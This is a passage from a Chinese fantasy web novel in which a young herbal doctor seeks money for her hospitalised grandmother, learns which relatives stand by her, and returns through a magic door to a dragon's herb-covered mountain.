大表叔、小表叔都是奶奶亲妹妹的儿子，是奶奶这边唯一的亲戚。四十多岁的年纪不上不下，正是尴尬的时候，在外打工没人要，想创业又没本钱，前几年，两人前后脚选择了回到老家种田。
明心堂本就缺药，奶奶看不上市面上的大部分药材，经常外出淘好的药源又费时间。奶奶索性喊来了两个外甥，让他们替自己种药。
起早贪黑的种药免不了辛苦，偏偏奶奶给出的药材标准还异常严苛，不符合要求的药材统统不收。
好在这两位表叔都是做事靠谱的踏实人，除了第一年种出来的药材略差了一些，往后每年的药材品质都相当不错。
奶奶给出了比市面上药贩子高出不少的价格收药。一是想帮自家的晚辈一把，二来也是对他们种出来的药材感到满意。所以这两位表叔这些年在乡下老家日子过得挺滋润。
听说后来村里不少村民都跟着兄弟俩一起种药，倒也形成了个小产业链，现在几乎整个村子的人
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都在种药，只要是符合要求的药材，明心堂都会收。
现在她守在医院分身乏术，也没办法回去经营医馆。说起来，她还得跟他们交代一声，让他们把今年这一批药材另寻个销路。
原本申姜是不准备向他们借钱的，以他们的条件，能借的钱杯水车薪，按照奶奶在医院的烧钱速度，最多也就够烧几天。
但现在，她缺的就是这一两天的缓冲时间！
奶奶出事那天，大表叔和小表叔都来过医院。由于现在正逢雨季，又到了收药的季节，地里缺不了人，两人在医院呆了一晚上，第二天一早又匆匆忙忙赶回乡下忙着采药收药。
当时大表叔临走前还塞给了申姜两千块钱，说是有问题就给他打电话。
申姜犹豫该怎么和大表叔开口借钱，大表叔的电话就来了。
申姜调整好心情，准备好好和大表叔说一下奶奶现在的情况，再向他开口借钱。
“申姜啊，大姨怎么样了？没什么大碍吧？”大表叔如往常一般爽朗的声音传来。
申姜：“医生说情况一天比一天好。”
铺垫完这句，下一句就是需要钱维持治疗，以大表叔过往和奶奶的亲昵，想必是会答应的，申姜微微松了口气。
电话那头，大表叔果然欣慰地笑了：“那就好那就好，我就知道大姨肯定吉人自有天相。
对了，大表叔跟你说件事，咱这边药都收利索了，你也知道村里人没多少文化，老惦记着把药材卖了换钱，非得把钱篡自己手里才肯放心。”
申姜皱眉，真是好事不出门坏事传千里，现在网络条件那么发达，估计乡下那些村民都知道了明心堂发生的事。
“大表叔，你听我说，明心堂这次出事只是个意外，事情不是网友说的那样。”
“你这是什么话，我还能不相信咱大姨吗！不过大家一年到头也就指望着这些收入，都是血汗钱，我也能理解。
我知道你最近忙，没功夫管这些，我就先做主先把钱给垫上了。你放心，我都瞧过，都是好药。你啥时候要了跟大表叔说，我给你拉明心堂去。”
按照以往的惯例，上周末的确到了该跟这些药农验收结账的日子。
申姜没想到，大表叔竟然帮她们把药钱先给垫上了。这究竟得多相信她们啊，申姜一时之间不知该如何回应他这个热心肠的操作。
她现在根本不需要药材，她需要钱维持奶奶的治疗啊……
大表叔这边的钱都拿去买药了，别说剩不了多少能借她的，可能过段日子还得问她讨债。
申姜的头一下子有点大。
13.小狗发疯
“申姜，你还听着吗？”
“嗯。”
“那行，等我忙完这一阵就来城里看大姨，你忙吧，我挂了。”
“等，等一下。”申姜眼皮一跳，有些艰难的说道：“大表叔，奶奶现在还没醒，医院这边我脱不开身，明心堂暂时不营业。”
“哦哦，”电话那头有些憨厚的嗓音一如既往，慢了一拍才反应过来，似乎不敢置信自己听到了什么。
“你说什么？我好像没听清楚。”
申姜嗓音晦涩暗哑：“如果有人来村里收药，你别给明心堂留着了。”
电话那头的大表叔似乎反应了许久才明白这句话的意思，好半晌才开口：“这样啊。”
申姜心里有些后悔，要是她早点打这通电话，说不定就不会有这样的乌龙了。
大表叔反过头来还安慰起她：“嗐没事，咱们村现在是种药大村，有名的很，隔三差五的就有药贩子来问我收药。你不用把这事放心上。”
看着已经挂断的电话，申姜总觉得心里不是滋味。
但一时之间发生的事太多，她还真说不上是哪里不对劲。
申姜把视线移到了小表叔的电话上，没来由的叹了口气。
其实她和这两个表叔都不算熟悉。申姜读高中以前，他们都在外地打工，很少回南泽市。后来他们回来做了明心堂的药农，申姜又去了外地读书，实在没多少和他们碰面的机会。
大表叔这些年经常来明心堂送药材、送他们自家产的土鸡蛋，申姜对他还算熟悉一些。至于小表叔，他性格沉默寡言，又长了一张生人勿近的脸，申姜和他完全不熟悉
上次他先到了医院，和申姜两个人在医院急救室外站了几个小时，大眼瞪小眼，都没开口说话。要不是后来大表叔到了，气氛别提有多尴尬了。
申姜不确定小表叔是怎么想的，但他和大表叔两个人不太对付的样子，很少一起出现在明心堂。小表叔应该不会把钱垫给村民，也许有钱借给她周旋一段日子。
要不也别麻烦小表叔了，申姜想到小表叔那张苦大仇深的脸，觉得这口也不是非开不可。奶奶的医药费就是个无底洞，她还是直接咨询抵押贷款能给她贷多少钱。
电话另一头的陈家村。
李招娣见到丈夫挂掉电话后脸上露出一股轻松的喜色，她就知道这事成了。她从桌上抓过一把瓜子，慢悠悠嗑了起来。
“怎么样？我就说申姜那丫头看不出啥不对劲吧？”
“一个小丫头片子而已，要不是继承了大姨的医术还算有点本事，你以为我稀罕跟她打这通电话。”
“要我说你也是多此一举，明心堂都成那样了，你干嘛非得跟申姜说咱们把药给她留着，万一她真要了咋办。现在有人愿意用高出市面上四成的价格来收咱家的药，傻子都知道该卖给哪边。”李招娣嗔怪丈夫多事，干嘛非得打这通电话，要她说闷声卖了发财不就行了。
“头发长见识短，你懂个屁啊！我大姨都快在医院躺两礼拜了，ICU是啥地方晓得不，那地方一天下来就得好几万，我要是不这么说，你信不信申姜那丫头立马就得问我借钱。”陈英发不满瞪了妻子一眼，暗道这女人真是蠢。
“凭什么问我们借钱！她们在城里给一个病人看病收好几百块，还有那么大一间屋子！她们要是哭穷你可别信。”李招娣急了。
“大家都是亲戚，能好好说话干嘛要撕破脸。”陈英发不耐烦地又瞪妻子一眼，“刚刚申姜主动提了让我把药卖给别人，现在这事就算定下来了，你别往外头乱说，尤其别让我弟听到不该听的，再传到申姜那，大家面子上不好看。”
“我估计明心堂这回算是完了，还好咱们家没受到影响。要我说啊，这做人就得凭良心做事。”
这些年丈夫陈英发不仅自己种药，还带动村里其他人一起种，每次他都会用把村里种的药材收回来一起卖给他那个做中医的大姨，不仅赚了中间的差价，还赚了人情，现在村里哪家哪户对他们说话不是客客气气的，李招娣这些年出门走路都是带风的。
李招娣原本以为明心堂出的药价挺公道，结果这个月有人来村子里收药材，她这才知道自己家这些年往少了说，至少少赚几十万！
要她说，连他们这种农民的血汗钱都贪，能不遭报应嘛。瞧瞧他们，带着村里人一起发财，这胸怀就不是一个层次的。
妻子李招娣的话倒是提醒了陈英发，大姨名下还有个明心堂，万一申姜缺钱了还能卖明心堂。
这事他可头一个不答应，大姨要是真出什么事，她的明心堂必须得留给自己的亲人。他弟生的是丫头片子不算数，他有两个儿子，是大姨正儿八经的后人，最有资格继承她的明心堂。
现在大儿子已经到了娶老婆的年纪，小儿子过几年也成年了，他得替两个儿子好好打算打算。光是他种药收药的收入，可攒不了多少老婆本。
李招娣想到自己这个小伯哥就纳闷：“我可真搞不懂，这么高的价格厚康都不肯卖，他到底是咋想的啊。”
陈英发抽着烟吞云吐雾：“别给我提那家伙，死八扳一个，上赶着赚钱的买卖不要，吃了秤砣铁了心地要留给明心堂，我倒是要看看，他的药有多少得烂在家里。”
陈英发想到弟弟陈厚康就来一肚子气，从小到大他都觉得他弟出生的时候肯定夹坏了脑子，轴的不行，两兄弟从来没办法坐下来心平气和的好好聊聊。
就拿这次的事来说，人明心堂都巴不得他们把这批药卖给别人，就这个犟种非得自作多情把他家的药材留给明心堂以后用。
谁知道明心堂还能不能开起来。
就申姜那个白生生的小丫头片子？陈英发冷笑一声，别以为大学生就有什么了不起，大姨出事的时候申姜就跟丢了魂似的，要他看，她根本撑不起这个中医馆。
李招娣撇撇嘴，没说是陈英发先提的他弟，免得他又跟自己发脾气。
“这不是一个村里的，抬头不见低头见，到时候就他一家没把药卖出去，我怕村里人会说闲话。”
陈英发没理会她的碎碎念，冷哼一声：“兄弟情分我
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总归尽到了，到时候谁也别想赖我这做大哥的不惦记着弟弟。行了，别管他，大宝呢，怎么一大早就不见他人影。”
李招娣哪里敢说自己大儿子一夜未归，这会指不定在哪浪呢，她眼轱辘一转张口就来：“还不是你昨天骂了他，他肯定一大早就躲出去了。”
“都多大的人了还没个定性，给他安排了那么个悠闲的工作都干不好，整天就知道跟村里那几个游手好闲的小混子混在一块儿。就他这样的，哪家好人家的姑娘愿意嫁给他。”
李招娣在心里翻了个白眼，心说那都是那些人没眼光，她儿子以后肯定会有大出息咧。到时候她们就是想嫁进来，她还不同意呢。
“这话你对我说说就行了，大宝都多大了，你别老一天天的看见他就骂，跟骂孙子似的，他也有自尊心……·”
陈英发怒道：“我那是为他好！慈母多败儿，你儿子迟早让你给宠坏了。”
*
梓宁从明心堂出来后就打了辆车，特意交代司机师傅慢些开车，她就趴在窗边吹着风，慢悠悠的打量着街两边的风景。
没几分钟，一个低头走路的高大背影就撞进了梓宁的眼中。
梓宁示意师傅停下车，对着不远处的那个熟悉身影喊道：“去南泽大学的拼车啦，一百一位，上车就走。”
司机师傅吓了一跳，正想说没她这么黑心的，就见车旁出现一道黑影，拉开车门径直坐了进来。
豁，还真是一个敢喊一个敢拼。
陈全刚系好安全带，车子一启动，就听见梓宁张牙舞爪的声音在前排响起：“好啊，你小子现在还会玩甩脸走人这一套，怎么着，想倒反天罡啊？”
陈全接过她递来的手机，一脸郁闷，苦笑道：“难道你也觉得她说得对，我真的有病吗？”
梓宁脸上表情微滞，陈全很少在她面前展露这样委屈的样子，看得出来，被申医生诊断有病这件事对陈全来说，比她想的还要严重。
梓宁往常对陈全说话十分直接，但关键时候可不敢乱说话。
梓宁打心底里认为申姜是个有几分真本事的，她是第一个准确说出自己问题的中医，还指出了陈全老爱往心里装事这一点。不过光靠诊脉就诊出结节这种事过于玄乎，梓宁也不敢随意乱下结论。
梓宁提议道：“要不我现在陪你去医院做个检查吧，拍个片子看看，就当花钱买个安心。”
她也觉得自己真的有病！陈全一想到这，脑补出梓宁坐在前排那种嫌弃的眼神，脑子一下子就热血上头。
“师傅，停车！”
司机生怕后头的年轻小伙子做出什么过激的事来，连忙靠边停车。
“哎，你干嘛去。”梓宁看着气咻咻迈着大步的青年，看起来似乎比刚刚还要生气，完全不理会自己的呼喊。
梓宁脑中缓缓冒出一个问号。
感情她就是来给他送手机的呗，早知道就该让他自己走回学校，她都多余管他。她气得直想发笑，还真就笑出了声。
有本事以后都别来找她玩！
14.经济危机
陈家村另一头。
陈厚康今天一大早就起来，和妻子一起收完了自家地里最后一批药材。他把药材往自家仓库一堆，提在嗓子眼里的那口气终于松下去大半。
这几天紧赶慢赶，就是要抢在雨季之前把药材先收了，这些药材不仅是他们家今年辛辛苦苦种出来的心血，更是这半年的收入，要是被雨淋了那就遭了。
这会他终于能松快几分心里紧绷的弦，看着同样辛苦了几天累得弯不直腰的妻子陈茹，陈厚康赔了个生硬的笑脸。
“阿茹，咱家能过上现在的日子多亏了大姨，这份恩我是一定要还的，上次走得急光着手就去医院了……眼看大姨都在医院快住了半个月，我这回说什么都得表示表示。
你就当这钱是借我的行不，以后我肯定补偿你和女儿。”
“瞎说八道什么，大姨又不是你一个人的，她也是我大姨。你以为就你有良心，别人的良心都被狗吃了啊。别你的我的，这话我可不爱听。”
陈茹瞪了丈夫一眼，似在指责他看轻了自己。
“我说你最近怎么睡觉总跟烙饼似的翻来覆去，憋在心里你不难受啊。我早就把卡准备好了，趁今天有空，我跟你一起去医院看看大姨。”
医院四楼，申姜这会正站在窗边给银行打电话。
她在咨询明心堂抵押出去能贷多少钱，转身时突然发现背后站了人，抬头才发现是几天未见的小表叔，连小表婶也跟着一起来了，夫妻俩风尘仆仆，衣着朴素，两张黝黑的面庞流露着几分情真意切的担忧。
“小表叔，小表婶，你们怎么来了？”
他们都听见了申姜和电话那头说的话，小表婶注意到申姜手里的单子，她刚刚远远走过来就注意到了申姜脸色不太好看，索性把申姜手里的单子拿过来自己看。
申姜心里的诧异直接就写到了脸上。
陈茹一看单子上那明晃晃的欠费几个字，顿时明白了。她不是会说场面话的人，看了看左右的指示牌确定方向，只抛下一句：“我先去缴费。”
陈茹风风火火的走了，只留给两人一个大步流星的背影。
陈厚康对妻子的举动见怪不怪，这雷厉风行的麻利劲跟她年轻时候一个样。不过这会就留下自己和这个外甥女，还不如让他去缴费呢。
“大姨咋样了？”陈厚康皱着眉，没想到他今天来了医院，竟然都见不着大姨一面。就只能在ICU病房的门外头等着。
“奶奶的情况已经稳定了不少，医生说只要家属不放弃就有希望。”申姜没说不放弃背后需要大把的钱做支撑，她不想变相向小表叔借钱。
“嗯。”
话题毫不意外再次冷场了。申姜想了想，决定主动让小表叔不用给明心堂留这批药材，她在心里想着合适的措辞。
小表叔突然先冒出来一句：“就是砸锅卖铁也要治，要是缺钱你跟我说，这些年我攒了钱，这钱本来就是大姨给的，给她用也是应该的。”
申姜原本有些焦躁不安的心，随着这一句话萦绕耳边反而静了下来。
往日里碰面最多只会和自己点个头打招呼的的小表叔和小表婶今天做的事说的话，都让她有些吃惊。
“嗯！”申姜把所有的感情都浓缩在这句话里。
有了比较后，申姜突然反应过来自己之前觉得不对劲的地方。
她印象中的大表叔，是这种替村民考虑的古道热肠吗？大表叔为什么特意跟自己提他帮明心堂垫了钱这件事？
申姜眼眸一闪，不想用恶意去揣测奶奶的亲人。
奶奶往常对村民的种植要求十分严苛，所以他们只要按照要求来，最后总能拿到满意的丰厚报酬。
就算大表叔不把钱垫上，靠着奶奶细心指点过的种植经验，那些村民的药材肯定能卖得出去，只不过回款会比往常慢一些。
申姜在心里叹气，她原以为往日里隐形人一样的小表叔可能会在这时候会选择独善其身，没想到小表叔和小表婶二话不说就直接帮她把欠的费用交了。
两个平日里沉默寡言的长辈，做事却惊人。无论是小表婶径直拿了单子就去交了费用，还是小表叔跟她说就是砸锅卖铁也要治，都触动了申姜原本麻木的神经。
申姜的心一时说不出的柔软与熨帖。
原来她不是在孤军奋战。
这些天她经历了太多，她怕卡里的钱不够救奶奶的命，怕奶奶晚节不保从此被钉在中医的耻辱柱上，怕自己死在巨龙的手里再也见不到奶奶，还怕最后奶奶真的变成梦境中凄凉无比的境地。
突然发现有人一直默默站在自己的背后，申姜的鼻间滑过酸意。
如果自己真的去了异世界后回不来，小表叔一定会照顾好奶奶，虽然他们的接触并不算多，申姜却已经再次重新认识了这位陌生又熟悉的长辈。
“小表叔，你们那些药怎么办？”申姜试图找到两人的共同话题。
没想到小表叔这回倒是多了一些话：“收仓库里了，明天开始炮制，你急的话下个月就能用。”
“明心堂暂时用不上，你要是有别的销路，先卖给别人也行。”
申姜等了许久也没等到回应，倒是身旁有几分异样，她有些诧异的扭头去看，就见小表叔有些生气的正瞪着自己。
“明心堂以后不开了吗？”
申姜愣了一下：“谁说的，等奶奶出了院我就把明心堂开起来。”
“那我的药就不能卖，”小表叔一脸正经严肃，“大姨说了，外头的药不好，不如自家人种的放心。我炮制的手艺都是大姨亲自教的，我的药肯定要供自家人。”
申姜被他这质朴的话定在原地，鬼使神差地说了句：“明心堂前段时间进了批新鲜药材，要不您帮我一起炮制了吧。”
陈厚康点点头：“行。药材到了你喊我，我直接去店里给你炮制好。”
申姜：“……”小表叔人真实诚啊，搞得她都不知道该说啥了。
好在这时候小表婶陈茹也回来了，他们夫妻俩平时就不怎么跟这个外甥女打交道，这会她见丈夫和的外甥女陷入了无言的沉默之中倒也不意外，选了丈夫身旁的空位径直坐了下来。
她也不知道能和申姜聊什么，村里最近有人用高出市场价四五成的价格来收药，这事肯定不能说，说了那不是
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给申姜心里添堵嘛。
虽然他们夫妻俩拒绝了从天而降的馅饼，但她知道大伯哥一家子的为人，肯定是要把这笔横财捂进口袋里。至于村里人，那肯定是巴不得药卖的越贵越好。
她那个嫂子成天就爱炫耀自己生了两个儿子，可陈大宝整天像个街溜子似的到处晃悠，陈小宝倒是比他哥有心眼，但他一肚子坏水，小小年纪就不学好。
陈茹每次看到她嫂子那个炫耀儿子的得意劲就觉得好笑。
自己生个女儿怎么了，在她看来，自己的女儿可比那两个不成器的废物争气多了。
一想到宝贝女儿，陈茹心口一软，闺女考上了重点大学还读了个研究生，可是村里学历最高的金凤凰。可比她那两个不学无术的堂哥有出息多了。
原本女儿一直嚷嚷着毕业了要留在大城市，她还寻思这丫头是不是背着自己跟人谈恋爱了。结果明心堂出事的新闻闹到了网上，女儿竟然主动改口说等今年毕业答辩结束就回南泽市来工作。
那感情好，等明年她的小棉袄住回家里来，她还能每天给她张罗好吃的，听说外头的毒外卖可毒着呢。
算算日子，下个月端午节，女儿又能回家了。
看着没比女儿大几岁的申姜，陈茹的心头泛起柔软，大姨也算是没有白养这个孩子，瞧着斯文秀气的样子，关键时候比男人还能扛事。
下午三点，申姜把进病房探视奶奶的机会让给了小表叔。
小表叔倒也没推辞，只是那张木讷的脸罕见地露出了几分紧张的神色，穿起隔离服时整个人更是手忙脚乱，被小表婶嫌弃得不行。
他们俩这副样子，反倒让申姜有些忍俊不禁。
他们俩今天的举动和表情，可比过去二十多年她见过的都要生动。仿佛两个没有灵魂的纸片人，突然在她眼前鲜活了起来。
申姜目前的计划就是从巨龙的山上运回那些珍稀的高品质药材，现在市场上好药材稀缺，一旦遇到像奶奶这样对药材有着严格要求的医生，那些药材根本不愁销路。
那些大医院的中医科她不指望，他们对中药的进货把控严格控制在国内几家大型的中药公司，她既够不上对方的门槛，也达不到对方需要的数量。
但是像她们这种小医馆在华国比比皆是，申姜有信心，只要她能把药材带回来，奶奶的医药费很快就会有着落。
申姜也想把这批药材留下来自己用，但目前明心堂的声誉危机还没有解除，愿意上门来看病的病人绝对屈指可数。更别说看到明心堂就她一个年轻面嫩的医生，她根本就没时间慢慢耗。
只要能撑过这些日子就好了，奶奶肯定能从ICU平安出来。
梦境里没有提到奶奶是什么时候从ICU出来，但申姜清楚地记得，苏晴一毕业就去了明心堂上班，那时她已经把奶奶接回了家里照顾。
最晚六月中旬，奶奶的情况一定会有所好转。
申姜不是没想过试试给奶奶用中医的法子治疗，但ICU里面有严格的护士管控，她根本不可能把药汁带进去。
但也许。
她可以提前给奶奶准备好后续治疗的药材。
15.无所遁匿
夜幕降临，申姜再度回到了明心堂。
这次医院那边不仅留了她的电话，还留了小表叔的电话，以防出现突发情况找不到她。
申姜不敢笃定那扇门今天晚上会不会出现，为了保险起见，她给小表叔留了条定时发送的短信，时间设置在了明天晚上。
如果她回不来，小表叔和小表婶应该会照顾好奶奶。
除此之外，申姜还特意去采购了一些物资。
只靠她的两只手，别说根本采不了多少草药，就是装都没地方装，这次她抱回来的草药加起来连五斤都没有，等炮制完估计就只剩下一斤。
手套、锄头、镰刀、草药篓等工具必不可少，申姜甚至特意买了几个加厚版的大号编织袋。
既然是去零元购，装回来越多她越赚，这种高风险高回报的事情，申姜倒也不指望能天天发生，只求每一趟能够满载而归不留遗憾。
申姜想了想，又在背篓里放了几包香肠、压缩饼干还有巧克力，毕竟她这是纯体力活，要是消耗过度体力不支，荒郊野岭的可没人管她。
至于那条巨龙，指望他会好心还不如指望自己。
该说不说，这一采购起来，申姜才发现，许多东西都有必要放进自己的小背篓里，像手电、打火机、匕首、指南针，这些东西都是野外生存的刚需产品。而且这些东西体积小巧不占地方，申姜没有多犹豫，通通买下来放进背篓里。
最后，她手里最有仅有的几百块花了个干干净净。
一切准备就绪，只等大门开启。
申姜在寂静漆黑的明心堂内深吸一口气，说不紧张是假的。她看了眼手机上的时间，这会已经到了晚上八点，那扇大门怎么还没有出现。
趁着刚刚做好的思想准备，申姜一鼓作气，闭上眼，像上次那样按下灯开关。
啪嗒一声。
申姜睁开眼，预想中的场景却并没有出现，灯光应声亮起，白炽灯下的明心堂如往常一般平常，金色的大门毫无踪迹。
申姜一愣。
重复几次之后，那扇神秘的金色大门没有半点要现身的模样。
申姜原本准备好去冒险的豪情壮志一下子消散了大半。
对陌生野外环境的未知恐惧，对巨龙绝对力量的认知，还有能否平安回来的不确定性，种种消极后怕的情绪终于冒头滋长，再也不肯偃旗息鼓。
申姜有些气馁的发现，或许她并没有自己想象的那么勇敢。
但无论她怎么想，怎么尝试。金色大门始终没有半点要现身的预兆，申姜索性放弃了这种无望的等待，回房间拿出珍藏的医书开始翻看起来。
就算没有那些药材，她也能靠自己的双手让明心堂东山再起。
*
“嘿，今天这是太阳打西边出来了，陈全你怎么这个点就回宿舍了？”
刚打完球的孙安一打开门，就见到室友陈全正坐在自己的座位上发呆，一副魂不守舍的样子。
“这是我的寝室，”陈全眉眼冰冷地看向刚刚打球回来的室友，皱起了眉，“我什么时候回来还要跟你报备吗？”
“你小子怎么回事，吃枪药了啊。”室友被他怼得差点没反应过来，陈全以往可是宿舍脾气最好的那位，今天这是怎么了，他眼神飘向寝室里的其他人，发送出疑问的信号。
“你能不能先去洗澡，每次打球回来那汗臭味都能熏死一头熊。”陈全再度开炮，脸色的嫌弃之色溢于言表。
“嘿，我发现你这人……”
寝室长见这俩气氛越来越不对，连忙捂着鼻子出来打圆场：“安子，不是我说你，你讲究一下个人卫生，瞧把陈全这种好脾气的人都给逼成啥样了。”
另一位室友探头看了眼陈全，“陈全是不是不舒服啊，我这游戏都好几把了，你怎么还是那个姿势没变过。”
听室友这么说，孙安不好意思地挠挠头，他说呢，怎么今天陈全浑身说不出的怪，原来是生病了。
估计闻见他身上的汗味，人更难受了。
他从抽屉掏出水卡，拿起窗边的毛巾和肥皂闪身进了浴室。
陈全看着室友担忧的表情，打起精神道：“我没事……”
寝室长：“我看你可不像没事的样子，对了，梓宁知不知道你生病的事，这么好的机会你得让她知道啊。女生最见不得人生病时候的可怜样，到时候肯定会心疼，机会这不就来了嘛。”
陈全刚刚缓和下来的表情瞬间结冰：“谁跟你说我有病，我没病！”
寝室里剩下的两个人面面相觑，对了个眼神，瞬间懂了陈全今天这样的原因：估计是表白失败了。
他烦躁的拿出手机看了眼微信，免打扰的家庭群未读消息99+，置顶的那位空空荡荡，什么也没有。
陈全自嘲的笑了笑，也不知道自己在期待些什么。自己早上那么不给她面子，按梓宁那臭脾气，绝对不可能主动找他。
不过都过去一天了，她这会，应该气消了？
要不是那个女医生多事，他这会应该正跟梓宁在哪个咖啡馆剪着视频插科打诨……想到这，陈全心里莫名生出一股戾气。
也不知道梓宁一个人剪视频忙不忙得过来，往常都是自己帮她干活，她只需要负责指挥他就行。
梓宁好面子，说不定这会正等着自己给她递台阶呢。
陈全眼睛一亮，拿起手机给梓宁发消息：“还需要人帮忙剪视频吗？”
十五分钟后，手机才缓缓亮起。
“申医生让你别熬夜，你以后都不用帮我剪视频了。”
陈全差点被她这句话气个半死。
申医生申医生，梓宁是被这女医生下降头了吗！
再说了，他就算是不能熬夜，他还不能白天给她剪视频吗？
他们这半年多的交情，难道还抵不上她见了一天的女人？
陈全不肯罢休，气鼓鼓再发一条：“我给你提供重要素材，你给我报销吗？”
梓宁很快回应：“？”
陈全：“我明天就去医院做检查。”
梓宁：“那跟我有什么关系。”
陈全：“允许你全程跟拍，怎么样，这算不算是重要素材？”
梓宁：“勉强考虑一下吧，行了你可以洗洗睡了。”
陈全看了眼时间，顿时无语。
八点都不到就让他睡觉，就算他真有病也没必要这样夸张吧。
寝室长听着陈全一会冷笑一会哼哼，整一个精神分裂的状态，好家伙，这兄弟该不会是情伤过重，直接变态了吧。
*
夜幕低垂，年轻的医生捧着医书在书桌前酣然正眠。
申姜一向觉浅，睡得迷迷糊糊之际突然感觉到周遭有什么不对劲的地方，眯着眼睛睁开了一条缝，就见到那扇金色大门上神秘暗纹涌动着一圈又一圈动人心魄的光芒，神不知鬼不觉地再次出现在了面前。
隐隐的流水光芒已经从她的脚开始蔓延上升，马上就要把她的身体再度包裹住。
申姜的困意一下子就退了下去。
突袭！这绝对是突袭！
申姜手往桌子边一阵摸索，她昨天回房间时顺带把背背篓也带了进来，防的就是出现这种突发情况。
狼狈抓起地上准备好的背篓，还来不及穿上外套，金色大门发出的光芒包裹住申姜的身体，紧接着，一股巨大的吸力将她吸了进去。
申姜在落地的第一时间就从口袋拿出了手机。
2135年4月17日凌晨3点。
信号零。
申姜咽了下口水，抬头看了眼挂在头顶明晃晃的太阳，艰难的接受了一个事实：这里和她生活着的华国，不说可能差了一个世界，至少也差了十万八千里，光是时差就得有十几个小时。
不过也有好消息，申姜很快就发现金色大门将她吐到了上次她离开时的位置。
其实这里是哪都行，反正最后金色大门会带着她离开这，眼下最要紧的事就是争分夺秒，抓紧时间找到上次那片草药。
申姜精神一振，连忙背起背篓，朝着记忆中她走过的路线朝山上爬去。
上次她离开时迫于无奈才只带走了那么些药材。
这一次，她要带着她的背篓和锄头，重新夺回属于她的一切。
戈德温·西泽正在龙穴内休憩，感应到突然出现的某种气息后，金色的龙瞳陡然睁大。
那家伙不是走了吗，怎么又回来了？
戈德温·西泽的龙瞳闪过一丝无语，上回他离开时，那个人类
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正拔杂草拔得热火朝天，没想到他回来时，整座山上都没有那个人类的气息。
黑龙第一时间检查了龙穴内的一切，他离开时设的魔法结界丝毫没有被人触发过，他珍视的财宝们也分毫不差的乖乖躺在原地。
非要说这座山上真少了些什么东西。
可能就只有家门口外的几株杂草。
虽然地上也有不少杂草的尸体，但戈得温能区分出来杂草和杂草之间也有微妙的长相区别，有片位置明显空了下去，可地上没有一点那些“小塔”般的杂草身影。
唯一的解释就是，那个人类信徒带着地上的一部分杂草，失踪了。
戈得温对这个发现很是无语了一阵子。
古怪的人类说来就来，说走就走，这也就算了，她竟然对他龙穴内的财宝们视而不见，只带走了几根杂草…
他完全无法理解人类的脑回路。
“你还知道要回来？”
申姜才刚爬了没几步，还没见着龙呢，如雷鸣般声量洪大的龙语便响彻云霄。
她的脚步一顿，莫名生出几分心虚。
怎么回事，她似乎从那句振聋发聩的龙语里听出几分怨念。
“戈得温大人，为了能更好的完成您交代的任务，我特地下山找了一些工具回来。”
黑龙张开了黑色的羽翼，从山顶顺着风势径直滑下来，威风凛凛地落到人类的面前。
申姜几乎是刚听见了巨龙的声音，接着看着巨龙那遮天蔽日的庞大身躯出现在头顶上空，刮起的飓风将地上的尘埃扬起，直接迷了她的眼。
吃了一嘴灰的申姜敢怒不敢言，恭敬的低下头去，迎接飞到面前的巨龙。
“你背着的那一堆破烂，就是你说的工具？”巨龙散漫又高傲的发问他的信徒。
“没错，有了它们，我就能更快地将这座山上的杂草清理干净。”申姜眯着眼恭敬回复。
戈得温简直不知道该说这人类信徒是蠢还是执着，竟然真将清理杂草这件事放到了心上。
“你就这么想成为我的信徒吗？”巨龙眼神复杂的看向低头躬颈的人类。
申姜微抬起头，看向巨龙的眼神满是坚定。
虽然面前的是巨龙，但巨龙背后代表着的可是这满满一座山的宝藏草药。
申姜毫不犹豫的倾吐真心：“是！我将成为您的信徒视为终身目标，为此我愿奉献出我的一切，包括用我的一生来清理这座山上的杂草。”
“很好。”
这样狂热而虔诚的人类，的确有资格成为自己的信徒。
戈德温·西泽决定给面前的人类一个机会。
奇幻的魔法咒语被黑龙轻轻吟诵，随即神秘的光彩萦绕在他的身畔，随着咒语结束，一朵蓝色花朵轻柔的在空中微微飘荡。
等申姜反应过来的时候，那株她从没有见过的浅蓝色花朵已经缓缓飘到她的面前。
申姜微微睁大了眼睛，那反应尤为可爱，她没想到黑龙会突然送给她一朵花。
是因为她表示愿意替他清理干净这山上的杂草吗？讲真，申姜对这条巨无霸黑龙的好感又多了几分。
那浅蓝色的花瓣缥缈得像风一样轻盈，又像水一样柔软，申姜从没见过这样的花，忍不住靠近了些想看得更清楚。
再靠近些，蓝色花朵散发出来的气息却让申姜有些不舒服，她熟知各种药材的药性，虽然不认识面前的蓝花，但一种特殊的芳香气味触发了她某些不太好的回忆。
不待申姜反应，那花朵似有灵性般贴上她的脸颊，竟然直接就消散成点点蓝光进入了她的身体。
“嗡”的一声，周遭的一切声音都消失了。
该死的黑龙，送的什么妖花！
申姜只觉得整个大脑在瞬间好像空了，思绪在那一刻停滞，所有的感官如潮水般急速退去，就像被一块巨大的冰块冻结住，面前的景象只剩下一个模糊的轮廓。
戈德温略带倨傲的声音不太真切地却进入了她的脑海：“告诉我，你想从我身上得到什么？”
天地间仿佛只剩下他的声音，循环在申姜的脑海响起。
渴望……
渴望从龙的身上得到什么……
什么是她内心深处最隐秘不能言说的渴望……
16.雅芙瑞斯
雅芙瑞斯是春天第一株植物，当四月之风吹遍大地的时候，雅芙瑞斯蒂一朵蓝色的花也会随之盛开。
全世界每年仅有一朵的蓝色花朵，有一个好听的名字，叫做蓝风。
它能让被使用的对象不得不说出自己内心最真实的想法。
戈德温·西泽面露得意，他可不是随随便便就把这朵价值非凡的蓝风用在一个普通人类身上，这朵蓝风，本就是为了她而准备的。
这个人类过于怪诞，只有让她暴露内心最真实的想法，他才能知道掩于皮囊之下的灵魂究竟是什么模样。
戈得温觉得这种简单粗暴的方式简直太合他的心意了，快速、直接、碾压，是他一贯的行事风格。
年轻的人类女孩唇瓣翕合，慢慢吐出第一个回答，带着一股莫名的雄心壮志。
“我想把这座山上的宝贝全都带回家，一株都不能放过。”
戈得温黑色的倒三角脸色原本期待的表情慢慢僵硬，这个人类的眼神太过干净，让他以为她会给出一个不同寻常回答的错觉。
果然，是错觉。
眸中闪过怒火的黑龙冷笑，“行啊，想把这里的宝贝都带走，除非踏过我的尸体。来吧，说说打算怎么实施你的计划。”
申姜歪了歪头，似乎花费了极大的思考才理解他这句话的意思，她的表情有些古怪。
“成为巨龙的信徒啊，信徒的任务就是清理山上的杂草，不对，是清理山上的宝贝。只要成为巨龙的信徒就可以了。”
这个颠三倒四的回答，完全出乎戈得温的意料，他沉默了。
“你说的宝贝究竟是什么？”
这回申姜回答的很快：“你看不见吗？满山遍野不都是草药吗？哦，这里好像是没上面多，难怪你看不见。”
她一边说，还一边指向不远处一朵开满红色浆果的植物。
